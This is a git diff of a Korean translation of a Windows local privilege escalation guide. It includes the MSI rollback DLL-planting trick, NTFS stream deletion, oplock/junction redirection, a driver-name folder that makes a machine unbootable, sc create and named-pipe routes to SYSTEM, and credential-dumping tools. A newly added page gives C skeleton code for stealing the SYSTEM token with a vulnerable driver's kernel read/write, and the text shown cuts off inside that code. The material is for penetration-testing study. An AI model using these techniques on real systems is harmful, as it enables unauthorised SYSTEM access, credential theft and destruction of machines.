열릴 때만 적용되므로**, 여전히 폴더에 쓸 수 있습니다. +> ACL은 **handle 오픈 시에만 적용되므로**, 여전히 폴더에 쓸 수 있습니다. -- 11단계: 가짜 `.rbs` 및 `.rbf` 드롭 -- `.rbs` 파일을 **가짜 롤백 스크립트**로 덮어씌워 Windows에: -- 당신의 `.rbf` 파일(악성 DLL)을 **특권 위치**(예: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)로 복원하도록 지시합니다. -- **악성 SYSTEM 수준 페이로드 DLL**이 포함된 가짜 `.rbf`를 드롭합니다. +- Step 11: Drop Fake `.rbs` and `.rbf` +- `.rbs` 파일을 Windows에게 다음을 지시하는 **가짜 rollback 스크립트**로 덮어씁니다: +- 당신의 `.rbf` 파일(악성 DLL)을 **권한 있는 위치**(예: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)로 복원하도록. +- 악성 SYSTEM-level payload DLL을 포함한 가짜 `.rbf`를 배치합니다. -- 12단계: 롤백 유발 -- 동기화 이벤트를 신호로 보내 설치가 재개되도록 합니다. -- **유형 19 사용자 정의 작업(`ErrorOut`)**이 설정되어 **설치를 의도적으로 실패**하게 합니다. -- 이로 인해 **롤백이 시작됩니다**. +- Step 12: Trigger the Rollback +- 인스톨러가 재개되도록 동기화 이벤트에 신호를 보냅니다. +- 알려진 지점에서 인스톨을 **의도적으로 실패시키는** **type 19 custom action (`ErrorOut`)**가 설정되어 있습니다. +- 이로 인해 **rollback이 시작**됩니다. -- 13단계: SYSTEM이 당신의 DLL을 설치합니다 -- Windows Installer는: +- Step 13: SYSTEM Installs Your DLL +- Windows Installer: - 당신의 악성 `.rbs`를 읽습니다. - 당신의 `.rbf` DLL을 대상 위치로 복사합니다. -- 이제 **SYSTEM이 로드한 경로에 악성 DLL이 있습니다**. +- 이제 당신의 **악성 DLL이 SYSTEM이 로드하는 경로에 놓여 있습니다**. -- 최종 단계: SYSTEM 코드 실행 -- 신뢰할 수 있는 **자동 상승 이진 파일**(예: `osk.exe`)을 실행하여 탈취한 DLL을 로드합니다. -- **붐**: 당신의 코드가 **SYSTEM으로 실행됩니다**. +- Final Step: Execute SYSTEM Code +- 당신이 하이재킹한 DLL을 로드하는 신뢰된 **auto-elevated binary**(예: `osk.exe`)를 실행합니다. +- **Boom**: 당신의 코드가 **SYSTEM 권한으로 실행됩니다**. -### 임의 파일 삭제/이동/이름 바꾸기에서 SYSTEM EoP로 +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -주요 MSI 롤백 기술(이전 기술)은 **전체 폴더**(예: `C:\Config.Msi`)를 삭제할 수 있다고 가정합니다. 그러나 취약점이 **임의 파일 삭제**만 허용한다면 어떻게 될까요? +주된 MSI rollback 기법(위의 기법)은 전체 폴더(e.g., `C:\Config.Msi`)를 삭제할 수 있다고 가정합니다. 하지만 만약 취약점이 **임의의 파일 삭제**만 허용한다면? -**NTFS 내부**를 악용할 수 있습니다: 모든 폴더에는 숨겨진 대체 데이터 스트림이 있습니다: +당신은 **NTFS internals**를 악용할 수 있습니다: 모든 폴더는 다음과 같은 숨겨진 대체 데이터 스트림을 가지고 있습니다: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` 이 스트림은 폴더의 **인덱스 메타데이터**를 저장합니다. -따라서, 폴더의 **`::$INDEX_ALLOCATION` 스트림을 삭제하면** NTFS는 **파일 시스템에서 전체 폴더를 제거합니다.** +따라서 폴더의 **`::$INDEX_ALLOCATION` 스트림을 삭제하면**, NTFS는 파일 시스템에서 **해당 폴더 전체를 제거합니다**. -이는 다음과 같은 표준 파일 삭제 API를 사용하여 수행할 수 있습니다: +다음과 같은 표준 파일 삭제 APIs를 사용하여 이 작업을 수행할 수 있습니다: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> 비록 당신이 *파일* 삭제 API를 호출하고 있지만, **폴더 자체를 삭제합니다**. +> *file* delete API를 호출하고 있음에도 불구하고, 그것은 **폴더 자체를 삭제합니다**. -### 폴더 내용 삭제에서 SYSTEM EoP로 -만약 당신의 원시 기능이 임의의 파일/폴더를 삭제할 수 없지만, **공격자가 제어하는 폴더의 *내용* 삭제를 허용한다면** 어떻게 될까요? +### Folder Contents Delete에서 SYSTEM EoP로 +만약 당신의 primitive가 임의의 파일/폴더를 삭제할 수 없지만, **공격자가 제어하는 폴더의 *contents*를 삭제하는 것을 허용한다면**? -1. 단계 1: 미끼 폴더와 파일 설정 +1. Step 1: 미끼 폴더와 파일 설정 - 생성: `C:\temp\folder1` -- 그 안에: `C:\temp\folder1\file1.txt` +- 내부에: `C:\temp\folder1\file1.txt` -2. 단계 2: `file1.txt`에 **oplock** 설정 -- oplock은 **특권 프로세스가 `file1.txt`를 삭제하려고 할 때 실행을 일시 중지**합니다. +2. Step 2: `file1.txt`에 **oplock** 설정 +- 권한 있는 프로세스가 `file1.txt`를 삭제하려고 시도할 때, oplock은 **실행을 일시 중단**합니다. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. 단계 3: SYSTEM 프로세스 트리거 (예: `SilentCleanup`) -- 이 프로세스는 폴더를 스캔하고 (예: `%TEMP%`) 그 내용을 삭제하려고 시도합니다. -- `file1.txt`에 도달하면 **oplock이 트리거**되고 제어가 귀하의 콜백으로 전달됩니다. +3. 3단계: SYSTEM 프로세스 유발 (예: `SilentCleanup`) +- 이 프로세스는 폴더(예: `%TEMP%`)를 스캔하고 내부 항목을 삭제하려고 시도합니다. +- `file1.txt`에 도달하면, **oplock triggers**가 발생하여 제어가 당신의 콜백으로 넘어갑니다. -4. 단계 4: oplock 콜백 내부 – 삭제 리디렉션 +4. 4단계: oplock callback 내부 – 삭제를 재지정 -- 옵션 A: `file1.txt`를 다른 곳으로 이동 -- 이렇게 하면 oplock을 깨지 않고 `folder1`이 비워집니다. -- `file1.txt`를 직접 삭제하지 마십시오 — 그렇게 하면 oplock이 조기에 해제됩니다. +- 옵션 A: `file1.txt`를 다른 위치로 이동 +- 이렇게 하면 oplock을 깨뜨리지 않고 `folder1`을 비울 수 있습니다. +- `file1.txt`를 직접 삭제하지 마세요 — 그러면 oplock이 조기에 해제됩니다. -- 옵션 B: `folder1`을 **junction**으로 변환: +- 옵션 B: `folder1`를 **junction**으로 변환: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1480,128 +1492,128 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> 이는 폴더 메타데이터를 저장하는 NTFS 내부 스트림을 대상으로 합니다 — 이를 삭제하면 폴더가 삭제됩니다. +> 이것은 폴더 메타데이터를 저장하는 NTFS 내부 스트림을 겨냥합니다 — 이를 삭제하면 폴더가 삭제됩니다. -5. Step 5: oplock 해제 -- SYSTEM 프로세스가 계속 진행되며 `file1.txt`를 삭제하려고 합니다. -- 그러나 이제, 정션 + 심볼릭 링크로 인해 실제로 삭제되는 것은: +5. Step 5: oplock을 해제 +- SYSTEM 프로세스는 계속해서 `file1.txt`를 삭제하려고 시도합니다. +- 하지만 이제는 junction + symlink 때문에 실제로 삭제되는 것은: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**결과**: `C:\Config.Msi`는 SYSTEM에 의해 삭제되었습니다. +**결과**: `C:\Config.Msi`는 SYSTEM에 의해 삭제됩니다. -### 임의 폴더 생성에서 영구적인 DoS로 +### 임의 폴더 생성에서 영구 DoS로 -**파일을 쓸 수 없거나 약한 권한을 설정할 수 없더라도** SYSTEM/admin으로 **임의의 폴더를 생성할 수 있는 원시 기능을 이용하세요**. +이 취약점을 이용하면 **SYSTEM/admin** 권한으로 임의의 **폴더**를 생성할 수 있습니다 — 파일을 쓸 수 없거나 약한 권한을 설정할 수 없는 경우에도. -**중요한 Windows 드라이버**의 이름으로 **폴더**(파일이 아님)를 생성하세요. 예: +중요한 **Windows 드라이버**의 이름으로 **폴더**(파일 아님)를 생성하십시오. 예: ``` C:\Windows\System32\cng.sys ``` - 이 경로는 일반적으로 `cng.sys` 커널 모드 드라이버에 해당합니다. -- **폴더로 미리 생성하면**, Windows는 부팅 시 실제 드라이버를 로드하지 못합니다. -- 그 후, Windows는 부팅 중 `cng.sys`를 로드하려고 시도합니다. -- 폴더를 발견하고, **실제 드라이버를 해결하지 못하며**, **부팅이 중단되거나 정지합니다**. -- **대체 방법이 없으며**, **외부 개입(예: 부팅 복구 또는 디스크 접근)** 없이는 **복구할 수 없습니다**. +- 만약 이 경로를 **폴더로 미리 생성**해두면, Windows는 부팅 시 실제 드라이버를 로드하지 못합니다. +- 그러면 Windows는 부팅 중 `cng.sys`를 로드하려 시도합니다. +- 폴더를 발견하면, **실제 드라이버를 찾지 못해**, **크래시가 발생하거나 부팅이 중단**됩니다. +- **대체 경로(fallback)**가 없으며, 외부 개입(예: 부트 복구 또는 디스크 접근) 없이는 **복구가 불가능**합니다. ## **High Integrity에서 System으로** ### **새 서비스** -이미 High Integrity 프로세스에서 실행 중이라면, **SYSTEM으로의 경로**는 **새 서비스를 생성하고 실행하는 것**이 간단할 수 있습니다: +이미 High Integrity 프로세스에서 실행 중이라면, **SYSTEM으로 가는 경로(path to SYSTEM)**는 **새 서비스를 생성하고 실행하는 것**만으로 쉽게 확보할 수 있습니다: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> 서비스 바이너리를 생성할 때 유효한 서비스인지 확인하거나 바이너리가 필요한 작업을 빠르게 수행하도록 하십시오. 유효한 서비스가 아니면 20초 후에 종료됩니다. +> service binary를 만들 때, 유효한 service인지 또는 바이너리가 필요한 동작을 수행하는지 확인하세요. 유효한 service가 아니면 20s 뒤에 종료됩니다. ### AlwaysInstallElevated -높은 무결성 프로세스에서 **AlwaysInstallElevated 레지스트리 항목을 활성화하고** _**.msi**_ 래퍼를 사용하여 리버스 셸을 **설치**할 수 있습니다.\ -[레지스트리 키와 _.msi_ 패키지를 설치하는 방법에 대한 자세한 정보는 여기에서 확인하십시오.](#alwaysinstallelevated) +High Integrity 프로세스에서 AlwaysInstallElevated 레지스트리 항목을 활성화하고 _**.msi**_ 래퍼를 사용해 reverse shell을 **설치**해 볼 수 있습니다.\ +[레지스트리 키와 _.msi_ 패키지 설치 방법에 대한 자세한 정보는 여기를 참조하세요.](#alwaysinstallelevated) -### High + SeImpersonate 권한을 System으로 +### High + SeImpersonate 권한으로 System -**코드를** [**여기에서 찾을 수 있습니다**](seimpersonate-from-high-to-system.md)**.** +**다음에서** [**코드를 찾을 수 있습니다**](seimpersonate-from-high-to-system.md)**.** -### SeDebug + SeImpersonate에서 전체 토큰 권한으로 +### SeDebug + SeImpersonate에서 Full Token 권한으로 -이러한 토큰 권한이 있는 경우(아마도 이미 높은 무결성 프로세스에서 찾을 수 있을 것입니다), **거의 모든 프로세스**(보호되지 않은 프로세스)를 SeDebug 권한으로 **열고**, 프로세스의 **토큰을 복사**하여 **해당 토큰으로 임의의 프로세스를 생성**할 수 있습니다.\ -이 기술을 사용할 때는 일반적으로 **모든 토큰 권한을 가진 SYSTEM으로 실행 중인 프로세스를 선택**합니다(_예, 모든 토큰 권한이 없는 SYSTEM 프로세스를 찾을 수 있습니다_).\ -**제안된 기술을 실행하는 코드의** [**예제를 여기에서 찾을 수 있습니다**](sedebug-+-seimpersonate-copy-token.md)**.** +해당 토큰 권한이 있으면(대부분 이미 High Integrity 프로세스에서 발견됩니다) SeDebug 권한으로 거의 모든 프로세스(Protected process는 제외)를 **열고**, 그 프로세스의 **토큰을 복사**하여 그 토큰으로 **임의의 프로세스를 생성**할 수 있습니다.\ +이 기법은 보통 **모든 토큰 권한을 가진 SYSTEM으로 실행 중인 프로세스**를 선택해서 사용합니다(예, 모든 토큰 권한이 없는 SYSTEM 프로세스도 있을 수 있습니다).\ +**예제 코드(제안된 기법을 실행하는 코드)는 다음에서 확인할 수 있습니다**: [**sedebug-+-seimpersonate-copy-token.md**](sedebug-+-seimpersonate-copy-token.md). ### **Named Pipes** -이 기술은 meterpreter가 `getsystem`에서 상승하는 데 사용됩니다. 이 기술은 **파이프를 생성한 다음 해당 파이프에 쓰기 위해 서비스를 생성/악용하는** 것으로 구성됩니다. 그런 다음, **`SeImpersonate`** 권한을 사용하여 파이프를 생성한 **서버**는 파이프 클라이언트(서비스)의 **토큰을 가장할 수** 있어 SYSTEM 권한을 얻습니다.\ -이름 파이프에 대해 [**더 알고 싶다면 이 글을 읽어야 합니다**](#named-pipe-client-impersonation).\ -높은 무결성에서 SYSTEM으로 이동하는 방법에 대한 [**예제를 읽고 싶다면 이 글을 읽어야 합니다**](from-high-integrity-to-system-with-name-pipes.md). +이 기법은 meterpreter의 getsystem에서 사용됩니다. 기법은 **파이프를 생성한 뒤 서비스(service)를 생성/악용해 그 파이프에 쓰도록 하는 것**으로 구성됩니다. 그런 다음 **SeImpersonate** 권한으로 파이프를 생성한 **서버**는 파이프 클라이언트(서비스)의 **토큰을 가장(impersonate)** 하여 SYSTEM 권한을 얻을 수 있습니다.\ +[**Named pipe에 대해 더 배우고 싶다면 여기를 읽으세요**](#named-pipe-client-impersonation).\ +High Integrity에서 Named Pipes를 사용해 System으로 올라가는 예제를 읽고 싶다면 [**여기**](from-high-integrity-to-system-with-name-pipes.md)를 참조하세요. ### Dll Hijacking -**SYSTEM**으로 실행 중인 **프로세스**에 의해 **로드되는 dll을 탈취**하는 데 성공하면 해당 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 종류의 권한 상승에 유용하며, 더욱이 높은 무결성 프로세스에서 **달성하기가 훨씬 더 쉽습니다**. 이는 dll을 로드하는 데 사용되는 폴더에 **쓰기 권한**을 가지기 때문입니다.\ -**Dll hijacking에 대해** [**더 알고 싶다면 여기에서 확인하십시오**](dll-hijacking/index.html)**.** +만약 SYSTEM으로 실행되는 프로세스가 로드하는 dll을 **hijack**할 수 있다면 그 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 권한 상승에 유용하며, 특히 High Integrity 프로세스에서 더 쉽게 달성할 수 있는데, 해당 프로세스는 dll을 로드하는 폴더에 대한 **쓰기 권한**을 가지고 있기 때문입니다.\ +**자세한 내용은 여기에서 확인하세요:** [**Dll hijacking**](dll-hijacking/index.html). -### **Administrator 또는 Network Service에서 System으로** +### **From Administrator or Network Service to System** -- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) -- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) -- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) +- https://github.com/sailay1996/RpcSsImpersonator +- https://decoder.cloud/2020/05/04/from-network-service-to-system/ +- https://github.com/decoder-it/NetworkServiceExploit -### LOCAL SERVICE 또는 NETWORK SERVICE에서 전체 권한으로 +### From LOCAL SERVICE or NETWORK SERVICE to full privs -**읽어보십시오:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**읽어보기:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## 추가 도움 +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## 유용한 도구 +## Useful tools **Windows 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 잘못된 구성 및 민감한 파일 확인 (**[**여기에서 확인하십시오**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). 감지됨.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- 일부 가능한 잘못된 구성을 확인하고 정보 수집 (**[**여기에서 확인하십시오**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- 잘못된 구성 확인**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla 및 RDP 저장 세션 정보를 추출합니다. 로컬에서 -Thorough 사용.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 자격 증명을 Credential Manager에서 추출합니다. 감지됨.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 수집된 비밀번호를 도메인에 분산시킵니다**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh는 PowerShell ADIDNS/LLMNR/mDNS/NBNS 스푸퍼 및 중간자 도구입니다.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 기본 privesc Windows 열거**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 알려진 privesc 취약점 검색 (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 로컬 검사 **(관리자 권한 필요)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- misconfiguration 및 민감한 파일을 검사합니다 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- 일부 가능한 misconfiguration을 검사하고 정보를 수집합니다 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- misconfiguration 검사**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP 저장 세션 정보를 추출합니다. 로컬에서 -Thorough 옵션 사용.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager에서 자격증명 추출. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 수집한 패스워드를 도메인에 대해 스프레이합니다**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- PowerShell ADIDNS/LLMNR/mDNS/NBNS 스푸핑 및 MITM 도구.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 기본적인 Windows 권한 상승용 정보 수집**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 알려진 privesc 취약점을 검색 (DEPRECATED, Watson 권장)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 로컬 검사 **(Admin 권한 필요)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 알려진 privesc 취약점 검색 (VisualStudio를 사용하여 컴파일해야 함) ([**사전 컴파일**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 잘못된 구성을 검색하기 위해 호스트를 열거합니다 (privesc보다 정보 수집 도구에 가깝습니다) (컴파일 필요) **(**[**사전 컴파일**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 많은 소프트웨어에서 자격 증명을 추출합니다 (github에 사전 컴파일된 exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 알려진 privesc 취약점 검색 (VisualStudio로 컴파일 필요) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 호스트를 열람하여 misconfiguration을 찾음 (정보 수집 도구에 더 가깝고 privesc보단 정보 수집에 유용) (컴파일 필요) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 다수 소프트웨어에서 자격증명을 추출 (GitHub에 precompiled exe 있음)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp의 C# 포트**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 잘못된 구성 확인 (github에 사전 컴파일된 실행 파일). 권장하지 않음. Win10에서 잘 작동하지 않음.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 가능한 잘못된 구성 확인 (python에서 exe). 권장하지 않음. Win10에서 잘 작동하지 않음. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- misconfiguration 검사 (GitHub에 실행 파일 있음). 권장하지 않음. Win10에서 잘 작동하지 않음.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 가능한 misconfiguration 검사 (python 기반 exe). 권장하지 않음. Win10에서 잘 작동하지 않음. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 생성된 도구 (정상적으로 작동하기 위해 accesschk가 필요하지 않지만 사용할 수 있습니다). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 제작된 도구(정상 동작을 위해 accesschk가 필요하지 않지만 사용할 수 있음). -**로컬** +**Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo**의 출력을 읽고 작동하는 익스플로잇을 추천합니다 (로컬 python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo**의 출력을 읽고 작동하는 익스플로잇을 추천합니다 (로컬 python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** 출력을 읽고 작동하는 익스플로잇을 추천합니다 (로컬 python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** 출력을 읽고 작동하는 익스플로잇을 추천합니다 (로컬 python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -프로젝트를 올바른 버전의 .NET을 사용하여 컴파일해야 합니다 ([여기 참조](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 확인하려면 다음을 수행할 수 있습니다: +프로젝트는 올바른 버전의 .NET으로 컴파일해야 합니다 ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 확인하려면 다음을 실행할 수 있습니다: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## References +## 참고자료 - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) @@ -1618,4 +1630,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md new file mode 100644 index 000000000..3d183f5f7 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -0,0 +1,122 @@ +# Windows kernel EoP: Token stealing with arbitrary kernel R/W + +{{#include ../../banners/hacktricks-training.md}} + +## 개요 + +취약한 드라이버가 IOCTL을 통해 공격자에게 임의의 커널 읽기 및/또는 쓰기 primitives를 제공하면, NT AUTHORITY\SYSTEM으로의 권한 상승은 종종 SYSTEM 액세스 토큰을 훔쳐서 달성할 수 있습니다. 이 기법은 SYSTEM 프로세스의 EPROCESS에 있는 Token 포인터를 현재 프로세스의 EPROCESS로 복사합니다. + +동작 원리: +- 각 프로세스는 EPROCESS 구조체를 가지고 있으며 그 안에는 (다른 필드들 중) Token(실제로는 토큰 객체를 가리키는 EX_FAST_REF)이 포함되어 있습니다. +- SYSTEM 프로세스(PID 4)는 모든 권한이 활성화된 토큰을 보유하고 있습니다. +- 현재 프로세스의 EPROCESS.Token을 SYSTEM 토큰 포인터로 교체하면 현재 프로세스는 즉시 SYSTEM으로 실행됩니다. + +> EPROCESS의 오프셋은 Windows 버전마다 다릅니다. 동적으로 결정(심볼)하거나 버전별 상수를 사용하세요. 또한 EPROCESS.Token은 EX_FAST_REF임을 기억하세요(하위 3비트는 참조 카운트 플래그로 사용). + +## 고수준 단계 + +1) ntoskrnl.exe 베이스를 찾고 PsInitialSystemProcess의 주소를 해결합니다. +- 사용자 모드에서 NtQuerySystemInformation(SystemModuleInformation) 또는 EnumDeviceDrivers를 사용해 로드된 드라이버 베이스를 얻습니다. +- 커널 베이스에 PsInitialSystemProcess의 오프셋(심볼/리버싱에서 얻은)을 더해 해당 주소를 얻습니다. +2) PsInitialSystemProcess에서 포인터를 읽습니다 → 이는 SYSTEM의 EPROCESS를 가리키는 커널 포인터입니다. +3) SYSTEM EPROCESS에서 UniqueProcessId 및 ActiveProcessLinks 오프셋을 읽어 EPROCESS 구조체의 이중 연결 리스트(ActiveProcessLinks.Flink/Blink)를 순회하여 UniqueProcessId가 GetCurrentProcessId()와 일치하는 EPROCESS를 찾습니다. 다음 두 값을 보관하세요: +- EPROCESS_SYSTEM (SYSTEM용) +- EPROCESS_SELF (현재 프로세스용) +4) SYSTEM 토큰 값 읽기: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- 하위 3비트 마스크 처리: Token_SYS_masked = Token_SYS & ~0xF (빌드에 따라 일반적으로 ~0xF 또는 ~0x7 사용; x64에서는 하위 3비트가 사용됨 — 0xFFFFFFFFFFFFFFF8 마스크). +5) 옵션 A(일반적): 현재 토큰의 하위 3비트를 보존하여 SYSTEM 포인터에 이어붙이면 임베디드 참조 카운트가 일관되게 유지됩니다. +- Token_ME = *(EPROCESS_SELF + TokenOffset) +- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) +6) 커널 쓰기 프리미티브를 사용해 Token_NEW를 (EPROCESS_SELF + TokenOffset)에 다시 씁니다. +7) 현재 프로세스는 이제 SYSTEM입니다. 선택적으로 새 cmd.exe 또는 powershell.exe를 실행해 확인하세요. + +## 의사코드 + +아래는 취약한 드라이버의 두 IOCTL만 사용하는 골격입니다 — 하나는 8바이트 커널 읽기, 하나는 8바이트 커널 쓰기용입니다. 자신의 드라이버 인터페이스로 교체하세요. +```c +#include +#include +#include + +// Device + IOCTLs are driver-specific +#define DEV_PATH "\\\\.\\VulnDrv" +#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Version-specific (examples only – resolve per build!) +static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies +static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies +static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies + +BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) { +struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret; +in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE); +} +BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) { +struct { uint64_t addr, val; } in; DWORD ret; +in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL); +} + +// Get ntoskrnl base (one option) +uint64_t get_nt_base(void) { +LPVOID drivers[1024]; DWORD cbNeeded; +if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) { +return (uint64_t)drivers[0]; // first is typically ntoskrnl +} +return 0; +} + +int main(void) { +HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +if (h == INVALID_HANDLE_VALUE) return 1; + +// 1) Resolve PsInitialSystemProcess +uint64_t nt = get_nt_base(); +uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build + +// 2) Read SYSTEM EPROCESS +uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS); + +// 3) Walk ActiveProcessLinks to find current EPROCESS +DWORD myPid = GetCurrentProcessId(); +uint64_t cur = EPROC_SYS; // list is circular +uint64_t EPROC_ME = 0; +do { +uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, 